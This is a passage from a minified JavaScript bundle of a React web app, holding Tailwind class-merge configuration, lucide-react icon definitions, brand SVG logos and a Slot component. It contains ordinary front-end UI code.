,ps:[{ps:[p]}],pe:[{pe:[p]}],pt:[{pt:[p]}],pr:[{pr:[p]}],pb:[{pb:[p]}],pl:[{pl:[p]}],m:[{m:[x]}],mx:[{mx:[x]}],my:[{my:[x]}],ms:[{ms:[x]}],me:[{me:[x]}],mt:[{mt:[x]}],mr:[{mr:[x]}],mb:[{mb:[x]}],ml:[{ml:[x]}],"space-x":[{"space-x":[P]}],"space-x-reverse":["space-x-reverse"],"space-y":[{"space-y":[P]}],"space-y-reverse":["space-y-reverse"],w:[{w:["auto","min","max","fit","svw","lvw","dvw",fe,t]}],"min-w":[{"min-w":[fe,t,"min","max","fit"]}],"max-w":[{"max-w":[fe,t,"none","full","min","max","fit","prose",{screen:[Br]},Br]}],h:[{h:[fe,t,"auto","min","max","fit","svh","lvh","dvh"]}],"min-h":[{"min-h":[fe,t,"min","max","fit","svh","lvh","dvh"]}],"max-h":[{"max-h":[fe,t,"min","max","fit","svh","lvh","dvh"]}],size:[{size:[fe,t,"auto","min","max","fit"]}],"font-size":[{text:["base",Br,Ur]}],"font-smoothing":["antialiased","subpixel-antialiased"],"font-style":["italic","not-italic"],"font-weight":[{font:["thin","extralight","light","normal","medium","semibold","bold","extrabold","black",Yl]}],"font-family":[{font:[oa]}],"fvn-normal":["normal-nums"],"fvn-ordinal":["ordinal"],"fvn-slashed-zero":["slashed-zero"],"fvn-figure":["lining-nums","oldstyle-nums"],"fvn-spacing":["proportional-nums","tabular-nums"],"fvn-fraction":["diagonal-fractions","stacked-fractons"],tracking:[{tracking:["tighter","tight","normal","wide","wider","widest",fe]}],"line-clamp":[{"line-clamp":["none",Bo,Yl]}],leading:[{leading:["none","tight","snug","normal","relaxed","loose",cr,fe]}],"list-image":[{"list-image":["none",fe]}],"list-style-type":[{list:["none","disc","decimal",fe]}],"list-style-position":[{list:["inside","outside"]}],"placeholder-color":[{placeholder:[e]}],"placeholder-opacity":[{"placeholder-opacity":[v]}],"text-alignment":[{text:["left","center","right","justify","start","end"]}],"text-color":[{text:[e]}],"text-opacity":[{"text-opacity":[v]}],"text-decoration":["underline","overline","line-through","no-underline"],"text-decoration-style":[{decoration:[...le(),"wavy"]}],"text-decoration-thickness":[{decoration:["auto","from-font",cr,Ur]}],"underline-offset":[{"underline-offset":["auto",cr,fe]}],"text-decoration-color":[{decoration:[e]}],"text-transform":["uppercase","lowercase","capitalize","normal-case"],"text-overflow":["truncate","text-ellipsis","text-clip"],"text-wrap":[{text:["wrap","nowrap","balance","pretty"]}],indent:[{indent:B()}],"vertical-align":[{align:["baseline","top","middle","bottom","text-top","text-bottom","sub","super",fe]}],whitespace:[{whitespace:["normal","nowrap","pre","pre-line","pre-wrap","break-spaces"]}],break:[{break:["normal","words","all","keep"]}],hyphens:[{hyphens:["none","manual","auto"]}],content:[{content:["none",fe]}],"bg-attachment":[{bg:["fixed","local","scroll"]}],"bg-clip":[{"bg-clip":["border","padding","content","text"]}],"bg-opacity":[{"bg-opacity":[v]}],"bg-origin":[{"bg-origin":["border","padding","content"]}],"bg-position":[{bg:[...me(),yS]}],"bg-repeat":[{bg:["no-repeat",{repeat:["","x","y","round","space"]}]}],"bg-size":[{bg:["auto","cover","contain",gS]}],"bg-image":[{bg:["none",{"gradient-to":["t","tr","r","br","b","bl","l","tl"]},xS]}],"bg-color":[{bg:[e]}],"gradient-from-pos":[{from:[w]}],"gradient-via-pos":[{via:[w]}],"gradient-to-pos":[{to:[w]}],"gradient-from":[{from:[m]}],"gradient-via":[{via:[m]}],"gradient-to":[{to:[m]}],rounded:[{rounded:[i]}],"rounded-s":[{"rounded-s":[i]}],"rounded-e":[{"rounded-e":[i]}],"rounded-t":[{"rounded-t":[i]}],"rounded-r":[{"rounded-r":[i]}],"rounded-b":[{"rounded-b":[i]}],"rounded-l":[{"rounded-l":[i]}],"rounded-ss":[{"rounded-ss":[i]}],"rounded-se":[{"rounded-se":[i]}],"rounded-ee":[{"rounded-ee":[i]}],"rounded-es":[{"rounded-es":[i]}],"rounded-tl":[{"rounded-tl":[i]}],"rounded-tr":[{"rounded-tr":[i]}],"rounded-br":[{"rounded-br":[i]}],"rounded-bl":[{"rounded-bl":[i]}],"border-w":[{border:[a]}],"border-w-x":[{"border-x":[a]}],"border-w-y":[{"border-y":[a]}],"border-w-s":[{"border-s":[a]}],"border-w-e":[{"border-e":[a]}],"border-w-t":[{"border-t":[a]}],"border-w-r":[{"border-r":[a]}],"border-w-b":[{"border-b":[a]}],"border-w-l":[{"border-l":[a]}],"border-opacity":[{"border-opacity":[v]}],"border-style":[{border:[...le(),"hidden"]}],"divide-x":[{"divide-x":[a]}],"divide-x-reverse":["divide-x-reverse"],"divide-y":[{"divide-y":[a]}],"divide-y-reverse":["divide-y-reverse"],"divide-opacity":[{"divide-opacity":[v]}],"divide-style":[{divide:le()}],"border-color":[{border:[o]}],"border-color-x":[{"border-x":[o]}],"border-color-y":[{"border-y":[o]}],"border-color-t":[{"border-t":[o]}],"border-color-r":[{"border-r":[o]}],"border-color-b":[{"border-b":[o]}],"border-color-l":[{"border-l":[o]}],"divide-color":[{divide:[o]}],"outline-style":[{outline:["",...le()]}],"outline-offset":[{"outline-offset":[cr,fe]}],"outline-w":[{outline:[cr,Ur]}],"outline-color":[{outline:[e]}],"ring-w":[{ring:ne()}],"ring-w-inset":["ring-inset"],"ring-color":[{ring:[e]}],"ring-opacity":[{"ring-opacity":[v]}],"ring-offset-w":[{"ring-offset":[cr,Ur]}],"ring-offset-color":[{"ring-offset":[e]}],shadow:[{shadow:["","inner","none",Br,bS]}],"shadow-color":[{shadow:[oa]}],opacity:[{opacity:[v]}],"mix-blend":[{"mix-blend":[...Q(),"plus-lighter","plus-darker"]}],"bg-blend":[{"bg-blend":Q()}],filter:[{filter:["","none"]}],blur:[{blur:[n]}],brightness:[{brightness:[r]}],contrast:[{contrast:[l]}],"drop-shadow":[{"drop-shadow":["","none",Br,fe]}],grayscale:[{grayscale:[u]}],"hue-rotate":[{"hue-rotate":[c]}],invert:[{invert:[f]}],saturate:[{saturate:[y]}],sepia:[{sepia:[_]}],"backdrop-filter":[{"backdrop-filter":["","none"]}],"backdrop-blur":[{"backdrop-blur":[n]}],"backdrop-brightness":[{"backdrop-brightness":[r]}],"backdrop-contrast":[{"backdrop-contrast":[l]}],"backdrop-grayscale":[{"backdrop-grayscale":[u]}],"backdrop-hue-rotate":[{"backdrop-hue-rotate":[c]}],"backdrop-invert":[{"backdrop-invert":[f]}],"backdrop-opacity":[{"backdrop-opacity":[v]}],"backdrop-saturate":[{"backdrop-saturate":[y]}],"backdrop-sepia":[{"backdrop-sepia":[_]}],"border-collapse":[{border:["collapse","separate"]}],"border-spacing":[{"border-spacing":[s]}],"border-spacing-x":[{"border-spacing-x":[s]}],"border-spacing-y":[{"border-spacing-y":[s]}],"table-layout":[{table:["auto","fixed"]}],caption:[{caption:["top","bottom"]}],transition:[{transition:["none","all","","colors","opacity","shadow","transform",fe]}],duration:[{duration:X()}],ease:[{ease:["linear","in","out","in-out",fe]}],delay:[{delay:X()}],animate:[{animate:["none","spin","ping","pulse","bounce",fe]}],transform:[{transform:["","gpu","none"]}],scale:[{scale:[C]}],"scale-x":[{"scale-x":[C]}],"scale-y":[{"scale-y":[C]}],rotate:[{rotate:[ra,fe]}],"translate-x":[{"translate-x":[T]}],"translate-y":[{"translate-y":[T]}],"skew-x":[{"skew-x":[b]}],"skew-y":[{"skew-y":[b]}],"transform-origin":[{origin:["center","top","top-right","right","bottom-right","bottom","bottom-left","left","top-left",fe]}],accent:[{accent:["auto",e]}],appearance:[{appearance:["none","auto"]}],cursor:[{cursor:["auto","default","pointer","wait","text","move","help","not-allowed","none","context-menu","progress","cell","crosshair","vertical-text","alias","copy","no-drop","grab","grabbing","all-scroll","col-resize","row-resize","n-resize","e-resize","s-resize","w-resize","ne-resize","nw-resize","se-resize","sw-resize","ew-resize","ns-resize","nesw-resize","nwse-resize","zoom-in","zoom-out",fe]}],"caret-color":[{caret:[e]}],"pointer-events":[{"pointer-events":["none","auto"]}],resize:[{resize:["none","y","x",""]}],"scroll-behavior":[{scroll:["auto","smooth"]}],"scroll-m":[{"scroll-m":B()}],"scroll-mx":[{"scroll-mx":B()}],"scroll-my":[{"scroll-my":B()}],"scroll-ms":[{"scroll-ms":B()}],"scroll-me":[{"scroll-me":B()}],"scroll-mt":[{"scroll-mt":B()}],"scroll-mr":[{"scroll-mr":B()}],"scroll-mb":[{"scroll-mb":B()}],"scroll-ml":[{"scroll-ml":B()}],"scroll-p":[{"scroll-p":B()}],"scroll-px":[{"scroll-px":B()}],"scroll-py":[{"scroll-py":B()}],"scroll-ps":[{"scroll-ps":B()}],"scroll-pe":[{"scroll-pe":B()}],"scroll-pt":[{"scroll-pt":B()}],"scroll-pr":[{"scroll-pr":B()}],"scroll-pb":[{"scroll-pb":B()}],"scroll-pl":[{"scroll-pl":B()}],"snap-align":[{snap:["start","end","center","align-none"]}],"snap-stop":[{snap:["normal","always"]}],"snap-type":[{snap:["none","x","y","both"]}],"snap-strictness":[{snap:["mandatory","proximity"]}],touch:[{touch:["auto","none","manipulation"]}],"touch-x":[{"touch-pan":["x","left","right"]}],"touch-y":[{"touch-pan":["y","up","down"]}],"touch-pz":["touch-pinch-zoom"],select:[{select:["none","text","all","auto"]}],"will-change":[{"will-change":["auto","scroll","contents","transform",fe]}],fill:[{fill:[e,"none"]}],"stroke-w":[{stroke:[cr,Ur,Yl]}],stroke:[{stroke:[e,"none"]}],sr:["sr-only","not-sr-only"],"forced-color-adjust":[{"forced-color-adjust":["auto","none"]}]},conflictingClassGroups:{overflow:["overflow-x","overflow-y"],overscroll:["overscroll-x","overscroll-y"],inset:["inset-x","inset-y","start","end","top","right","bottom","left"],"inset-x":["right","left"],"inset-y":["top","bottom"],flex:["basis","grow","shrink"],gap:["gap-x","gap-y"],p:["px","py","ps","pe","pt","pr","pb","pl"],px:["pr","pl"],py:["pt","pb"],m:["mx","my","ms","me","mt","mr","mb","ml"],mx:["mr","ml"],my:["mt","mb"],size:["w","h"],"font-size":["leading"],"fvn-normal":["fvn-ordinal","fvn-slashed-zero","fvn-figure","fvn-spacing","fvn-fraction"],"fvn-ordinal":["fvn-normal"],"fvn-slashed-zero":["fvn-normal"],"fvn-figure":["fvn-normal"],"fvn-spacing":["fvn-normal"],"fvn-fraction":["fvn-normal"],"line-clamp":["display","overflow"],rounded:["rounded-s","rounded-e","rounded-t","rounded-r","rounded-b","rounded-l","rounded-ss","rounded-se","rounded-ee","rounded-es","rounded-tl","rounded-tr","rounded-br","rounded-bl"],"rounded-s":["rounded-ss","rounded-es"],"rounded-e":["rounded-se","rounded-ee"],"rounded-t":["rounded-tl","rounded-tr"],"rounded-r":["rounded-tr","rounded-br"],"rounded-b":["rounded-br","rounded-bl"],"rounded-l":["rounded-tl","rounded-bl"],"border-spacing":["border-spacing-x","border-spacing-y"],"border-w":["border-w-s","border-w-e","border-w-t","border-w-r","border-w-b","border-w-l"],"border-w-x":["border-w-r","border-w-l"],"border-w-y":["border-w-t","border-w-b"],"border-color":["border-color-t","border-color-r","border-color-b","border-color-l"],"border-color-x":["border-color-r","border-color-l"],"border-color-y":["border-color-t","border-color-b"],"scroll-m":["scroll-mx","scroll-my","scroll-ms","scroll-me","scroll-mt","scroll-mr","scroll-mb","scroll-ml"],"scroll-mx":["scroll-mr","scroll-ml"],"scroll-my":["scroll-mt","scroll-mb"],"scroll-p":["scroll-px","scroll-py","scroll-ps","scroll-pe","scroll-pt","scroll-pr","scroll-pb","scroll-pl"],"scroll-px":["scroll-pr","scroll-pl"],"scroll-py":["scroll-pt","scroll-pb"],touch:["touch-x","touch-y","touch-pz"],"touch-x":["touch"],"touch-y":["touch"],"touch-pz":["touch"]},conflictingClassGroupModifiers:{"font-size":["leading"]}}}const kS=aS(_S);function Ze(...e){return kS(KC(e))}function Ed(e,t){return t===e}function JP(e){return Object.entries(e).reduce(function(t,[n,r]){return r.length>0&&(t[n]=r),t},{})}/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const RS=e=>e.replace(/([a-z0-9])([A-Z])/g,"$1-$2").toLowerCase(),X0=(...e)=>e.filter((t,n,r)=>!!t&&r.indexOf(t)===n).join(" ");/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */var PS={xmlns:"http://www.w3.org/2000/svg",width:24,height:24,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:2,strokeLinecap:"round",strokeLinejoin:"round"};/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const TS=h.forwardRef(({color:e="currentColor",size:t=24,strokeWidth:n=2,absoluteStrokeWidth:r,className:o="",children:i,iconNode:s,...a},l)=>h.createElement("svg",{ref:l,...PS,width:t,height:t,stroke:e,strokeWidth:r?Number(n)*24/Number(t):n,className:X0("lucide",o),...a},[...s.map(([u,c])=>h.createElement(u,c)),...Array.isArray(i)?i:[i]]));/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const vt=(e,t)=>{const n=h.forwardRef(({className:r,...o},i)=>h.createElement(TS,{ref:i,iconNode:t,className:X0(`lucide-${RS(e)}`,r),...o}));return n.displayName=`${e}`,n};/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const NS=vt("ArrowLeft",[["path",{d:"m12 19-7-7 7-7",key:"1l729n"}],["path",{d:"M19 12H5",key:"x3x0zl"}]]);/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const OS=vt("Drum",[["path",{d:"m2 2 8 8",key:"1v6059"}],["path",{d:"m22 2-8 8",key:"173r8a"}],["ellipse",{cx:"12",cy:"9",rx:"10",ry:"5",key:"liohsx"}],["path",{d:"M7 13.4v7.9",key:"1yi6u9"}],["path",{d:"M12 14v8",key:"1tn2tj"}],["path",{d:"M17 13.4v7.9",key:"eqz2v3"}],["path",{d:"M2 9v8a10 5 0 0 0 20 0V9",key:"1750ul"}]]);/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const LS=vt("ExternalLink",[["path",{d:"M15 3h6v6",key:"1q9fwt"}],["path",{d:"M10 14 21 3",key:"gplh6r"}],["path",{d:"M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6",key:"a6xqqp"}]]);/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const AS=vt("Grid2x2",[["rect",{width:"18",height:"18",x:"3",y:"3",rx:"2",key:"afitv7"}],["path",{d:"M3 12h18",key:"1i2n21"}],["path",{d:"M12 3v18",key:"108xh3"}]]);/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const MS=vt("Heart",[["path",{d:"M19 14c1.49-1.46 3-3.21 3-5.5A5.5 5.5 0 0 0 16.5 3c-1.76 0-3 .5-4.5 2-1.5-1.5-2.74-2-4.5-2A5.5 5.5 0 0 0 2 8.5c0 2.3 1.5 4.05 3 5.5l7 7Z",key:"c3ymky"}]]);/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const DS=vt("House",[["path",{d:"M15 21v-8a1 1 0 0 0-1-1h-4a1 1 0 0 0-1 1v8",key:"5wwlr5"}],["path",{d:"M3 10a2 2 0 0 1 .709-1.528l7-5.999a2 2 0 0 1 2.582 0l7 5.999A2 2 0 0 1 21 10v9a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z",key:"1d0kgt"}]]);/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const jS=vt("Library",[["path",{d:"m16 6 4 14",key:"ji33uf"}],["path",{d:"M12 6v14",key:"1n7gus"}],["path",{d:"M8 8v12",key:"1gg7y9"}],["path",{d:"M4 4v16",key:"6qkkli"}]]);/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const IS=vt("LifeBuoy",[["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}],["path",{d:"m4.93 4.93 4.24 4.24",key:"1ymg45"}],["path",{d:"m14.83 9.17 4.24-4.24",key:"1cb5xl"}],["path",{d:"m14.83 14.83 4.24 4.24",key:"q42g0n"}],["path",{d:"m9.17 14.83-4.24 4.24",key:"bqpfvv"}],["circle",{cx:"12",cy:"12",r:"4",key:"4exip2"}]]);/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const zS=vt("List",[["line",{x1:"8",x2:"21",y1:"6",y2:"6",key:"7ey8pc"}],["line",{x1:"8",x2:"21",y1:"12",y2:"12",key:"rjfblc"}],["line",{x1:"8",x2:"21",y1:"18",y2:"18",key:"c3b1m8"}],["line",{x1:"3",x2:"3.01",y1:"6",y2:"6",key:"1g7gq3"}],["line",{x1:"3",x2:"3.01",y1:"12",y2:"12",key:"1pjlvk"}],["line",{x1:"3",x2:"3.01",y1:"18",y2:"18",key:"28t2mc"}]]);/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const FS=vt("LoaderCircle",[["path",{d:"M21 12a9 9 0 1 1-6.219-8.56",key:"13zald"}]]);/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const $S=vt("Menu",[["line",{x1:"4",x2:"20",y1:"12",y2:"12",key:"1e0a9i"}],["line",{x1:"4",x2:"20",y1:"6",y2:"6",key:"1owob3"}],["line",{x1:"4",x2:"20",y1:"18",y2:"18",key:"yk5zj1"}]]);/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const US=vt("Palette",[["circle",{cx:"13.5",cy:"6.5",r:".5",fill:"currentColor",key:"1okk4w"}],["circle",{cx:"17.5",cy:"10.5",r:".5",fill:"currentColor",key:"f64h9f"}],["circle",{cx:"8.5",cy:"7.5",r:".5",fill:"currentColor",key:"fotxhn"}],["circle",{cx:"6.5",cy:"12.5",r:".5",fill:"currentColor",key:"qy21gx"}],["path",{d:"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10c.926 0 1.648-.746 1.648-1.688 0-.437-.18-.835-.437-1.125-.29-.289-.438-.652-.438-1.125a1.64 1.64 0 0 1 1.668-1.668h1.996c3.051 0 5.555-2.503 5.555-5.554C21.965 6.012 17.461 2 12 2z",key:"12rzf8"}]]);/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const BS=vt("Radio",[["path",{d:"M4.9 19.1C1 15.2 1 8.8 4.9 4.9",key:"1vaf9d"}],["path",{d:"M7.8 16.2c-2.3-2.3-2.3-6.1 0-8.5",key:"u1ii0m"}],["circle",{cx:"12",cy:"12",r:"2",key:"1c9p78"}],["path",{d:"M16.2 7.8c2.3 2.3 2.3 6.1 0 8.5",key:"1j5fej"}],["path",{d:"M19.1 4.9C23 8.8 23 15.1 19.1 19",key:"10b0cb"}]]);/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const VS=vt("Repeat",[["path",{d:"m17 2 4 4-4 4",key:"nntrym"}],["path",{d:"M3 11v-1a4 4 0 0 1 4-4h14",key:"84bu3i"}],["path",{d:"m7 22-4-4 4-4",key:"1wqhfi"}],["path",{d:"M21 13v1a4 4 0 0 1-4 4H3",key:"1rx37r"}]]);/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const HS=vt("Settings",[["path",{d:"M12.22 2h-.44a2 2 0 0 0-2 2v.18a2 2 0 0 1-1 1.73l-.43.25a2 2 0 0 1-2 0l-.15-.08a2 2 0 0 0-2.73.73l-.22.38a2 2 0 0 0 .73 2.73l.15.1a2 2 0 0 1 1 1.72v.51a2 2 0 0 1-1 1.74l-.15.09a2 2 0 0 0-.73 2.73l.22.38a2 2 0 0 0 2.73.73l.15-.08a2 2 0 0 1 2 0l.43.25a2 2 0 0 1 1 1.73V20a2 2 0 0 0 2 2h.44a2 2 0 0 0 2-2v-.18a2 2 0 0 1 1-1.73l.43-.25a2 2 0 0 1 2 0l.15.08a2 2 0 0 0 2.73-.73l.22-.39a2 2 0 0 0-.73-2.73l-.15-.08a2 2 0 0 1-1-1.74v-.5a2 2 0 0 1 1-1.74l.15-.09a2 2 0 0 0 .73-2.73l-.22-.38a2 2 0 0 0-2.73-.73l-.15.08a2 2 0 0 1-2 0l-.43-.25a2 2 0 0 1-1-1.73V4a2 2 0 0 0-2-2z",key:"1qme2f"}],["circle",{cx:"12",cy:"12",r:"3",key:"1v7zrd"}]]);/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const WS=vt("ShieldCheck",[["path",{d:"M20 13c0 5-3.5 7.5-7.66 8.95a1 1 0 0 1-.67-.01C7.5 20.5 4 18 4 13V6a1 1 0 0 1 1-1c2 0 4.5-1.2 6.24-2.72a1.17 1.17 0 0 1 1.52 0C14.51 3.81 17 5 19 5a1 1 0 0 1 1 1z",key:"oel41y"}],["path",{d:"m9 12 2 2 4-4",key:"dzmm74"}]]);/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const ZS=vt("ToyBrick",[["rect",{width:"18",height:"12",x:"3",y:"8",rx:"1",key:"158fvp"}],["path",{d:"M10 8V5c0-.6-.4-1-1-1H6a1 1 0 0 0-1 1v3",key:"s0042v"}],["path",{d:"M19 8V5c0-.6-.4-1-1-1h-3a1 1 0 0 0-1 1v3",key:"9wmeh2"}]]),J0={logo:({iconProps:e,as:t,className:n,hideTextOnMobile:r=!0})=>{const o=t??"div";return E.jsxs(o,{className:Ze("flex items-center space-x-2 text-lg",n),children:[E.jsx(J0.logoIcon,{className:Ze("fill-primary",e==null?void 0:e.className,r?"h-6 w-6 sm:h-5 sm:w-5":"h-5 w-5"),...e}),E.jsx("span",{className:Ze("font-bold",r&&"hidden sm:block"),children:cp.name})]})},logoIcon:e=>E.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",...e,children:E.jsx("path",{d:"M8.011 6.215c-1.711-.009-3.86.918-5.499 2.557-.625.625-1.176 1.355-1.601 2.174 1.479-1.119 3.057-1.47 4.903-.434.544-1.437 1.27-2.9 2.197-4.297zm9.785 9.773c-1.516.991-3.007 1.706-4.297 2.21 1.036 1.848.686 3.424-.434 4.902.819-.424 1.549-.975 2.175-1.602 1.644-1.642 2.572-3.796 2.556-5.51zm6.152-15.946c-.412-.028-.816-.042-1.213-.042-8.602 0-13.498 6.558-15.28 11.833l4.728 4.729c5.428-1.946 11.817-6.661 11.817-15.172 0-.439-.017-.888-.052-1.348zm-9.888 9.91c-.391-.391-.391-1.023 0-1.414s1.023-.391 1.414 0 .391 1.023 0 1.414-1.024.39-1.414 0zm2.828-2.828c-.781-.78-.781-2.047 0-2.828s2.048-.781 2.828 0c.781.781.781 2.047 0 2.828s-2.047.781-2.828 0zm-8.021 8.625l1.013 1.012c-.942.954-1.907 2.083-2.287 3.637l-1.39-.34c.467-1.912 1.607-3.24 2.664-4.309zm-1.634-1.633l1.01 1.01c-1.119 1.103-2.413 2.203-4.307 2.666l-.34-1.39c1.553-.381 2.69-1.35 3.637-2.286zm2.746 6.446c.206 2.029-.946 3.265-2.48 3.421-.902.092-1.701-.205-2.356-.88-1.575.556-3.074-.047-3.864-1.172-.622-.883-.76-2.002-.382-3.074-.676-.656-.973-1.448-.88-2.356.154-1.521 1.361-2.694 3.484-2.475l.21 1.208c-.716.067-1.379.104-1.809.533-.722.723-.504 2.229.851 2.629-.899.904-.813 2.202-.137 2.914.707.747 2.057.863 2.987-.063.416 1.41 1.942 1.537 2.629.851.424-.424.465-1.075.531-1.782l1.216.246z"})}),twitter:e=>E.jsx("svg",{viewBox:"0 0 1200 1227",xmlns:"http://www.w3.org/2000/svg",...e,children:E.jsx("path",{d:"M714.163 519.284L1160.89 0H1055.03L667.137 450.887L357.328 0H0L468.492 681.821L0 1226.37H105.866L515.491 750.218L842.672 1226.37H1200L714.137 519.284H714.163ZM569.165 687.828L521.697 619.934L144.011 79.6944H306.615L611.412 515.685L658.88 583.579L1055.08 1150.3H892.476L569.165 687.854V687.828Z"})}),gitHub:e=>E.jsx("svg",{viewBox:"0 0 438.549 438.549",...e,children:E.jsx("path",{fill:"currentColor",d:"M409.132 114.573c-19.608-33.596-46.205-60.194-79.798-79.8-33.598-19.607-70.277-29.408-110.063-29.408-39.781 0-76.472 9.804-110.063 29.408-33.596 19.605-60.192 46.204-79.8 79.8C9.803 148.168 0 184.854 0 224.63c0 47.78 13.94 90.745 41.827 128.906 27.884 38.164 63.906 64.572 108.063 79.227 5.14.954 8.945.283 11.419-1.996 2.475-2.282 3.711-5.14 3.711-8.562 0-.571-.049-5.708-.144-15.417a2549.81 2549.81 0 01-.144-25.406l-6.567 1.136c-4.187.767-9.469 1.092-15.846 1-6.374-.089-12.991-.757-19.842-1.999-6.854-1.231-13.229-4.086-19.13-8.559-5.898-4.473-10.085-10.328-12.56-17.556l-2.855-6.57c-1.903-4.374-4.899-9.233-8.992-14.559-4.093-5.331-8.232-8.945-12.419-10.848l-1.999-1.431c-1.332-.951-2.568-2.098-3.711-3.429-1.142-1.331-1.997-2.663-2.568-3.997-.572-1.335-.098-2.43 1.427-3.289 1.525-.859 4.281-1.276 8.28-1.276l5.708.853c3.807.763 8.516 3.042 14.133 6.851 5.614 3.806 10.229 8.754 13.846 14.842 4.38 7.806 9.657 13.754 15.846 17.847 6.184 4.093 12.419 6.136 18.699 6.136 6.28 0 11.704-.476 16.274-1.423 4.565-.952 8.848-2.383 12.847-4.285 1.713-12.758 6.377-22.559 13.988-29.41-10.848-1.14-20.601-2.857-29.264-5.14-8.658-2.286-17.605-5.996-26.835-11.14-9.235-5.137-16.896-11.516-22.985-19.126-6.09-7.614-11.088-17.61-14.987-29.979-3.901-12.374-5.852-26.648-5.852-42.826 0-23.035 7.52-42.637 22.557-58.817-7.044-17.318-6.379-36.732 1.997-58.24 5.52-1.715 13.706-.428 24.554 3.853 10.85 4.283 18.794 7.952 23.84 10.994 5.046 3.041 9.089 5.618 12.135 7.708 17.705-4.947 35.976-7.421 54.818-7.421s37.117 2.474 54.823 7.421l10.849-6.849c7.419-4.57 16.18-8.758 26.262-12.565 10.088-3.805 17.802-4.853 23.134-3.138 8.562 21.509 9.325 40.922 2.279 58.24 15.036 16.18 22.559 35.787 22.559 58.817 0 16.178-1.958 30.497-5.853 42.966-3.9 12.471-8.941 22.457-15.125 29.979-6.191 7.521-13.901 13.85-23.131 18.986-9.232 5.14-18.182 8.85-26.84 11.136-8.662 2.286-18.415 4.004-29.263 5.146 9.894 8.562 14.842 22.077 14.842 40.539v60.237c0 3.422 1.19 6.279 3.572 8.562 2.379 2.279 6.136 2.95 11.276 1.995 44.163-14.653 80.185-41.062 108.068-79.226 27.88-38.161 41.825-81.126 41.825-128.906-.01-39.771-9.818-76.454-29.414-110.049z"})}),google:e=>E.jsx("svg",{role:"img",viewBox:"0 0 24 24",...e,children:E.jsx("path",{fill:"currentColor",d:"M12.48 10.92v3.28h7.84c-.24 1.84-.853 3.187-1.787 4.133-1.147 1.147-2.933 2.4-6.053 2.4-4.827 0-8.6-3.893-8.6-8.72s3.773-8.72 8.6-8.72c2.6 0 4.507 1.027 5.907 2.347l2.307-2.307C18.747 1.44 16.133 0 12.48 0 5.867 0 .307 5.387.307 12s5.56 12 12.173 12c3.573 0 6.267-1.173 8.373-3.36 2.16-2.16 2.84-5.213 2.84-7.667 0-.76-.053-1.467-.173-2.053H12.48z"})}),loader:e=>E.jsx(FS,{...e,className:Ze("animate-spin transition-all duration-400",e.className)})};function QS(e,t){typeof e=="function"?e(t):e!=null&&(e.current=t)}function e1(...e){return t=>e.forEach(n=>QS(n,t))}function tt(...e){return h.useCallback(e1(...e),e)}var _s=h.forwardRef((e,t)=>{const{children:n,...r}=e,o=h.Children.toArray(n),i=o.find(KS);if(i){const s=i.props.children,a=o.map(l=>l===i?h.Children.count(s)>1?h.Children.only(null):h.isValidElement(s)?s.props.children:null:l);return E.jsx(Df,{...r,ref:t,children:h.isValidElement(s)?h.cloneElement(s,void 0,a):null})}return E.jsx(Df,{...r,ref:t,children:n})});_s.displayName="Slot";var Df=h.forwardRef((e,t)=>{const{children:n,...r}=e;if(h.isValidElement(n)){const o=GS(n);return h.cloneElement(n,{...YS(r,n.props),ref:t?e1(t,o):o})}return h.Children.count(n)>1?h.Children.only(null):null});Df.displayName="SlotClone";var t1=({children:e})=>E.jsx(E.Fragment,{children:e});function KS(e){return h.isValidElement(e)&&e.type===t1}function YS(e,t){const n={...t};for(const r in t){const 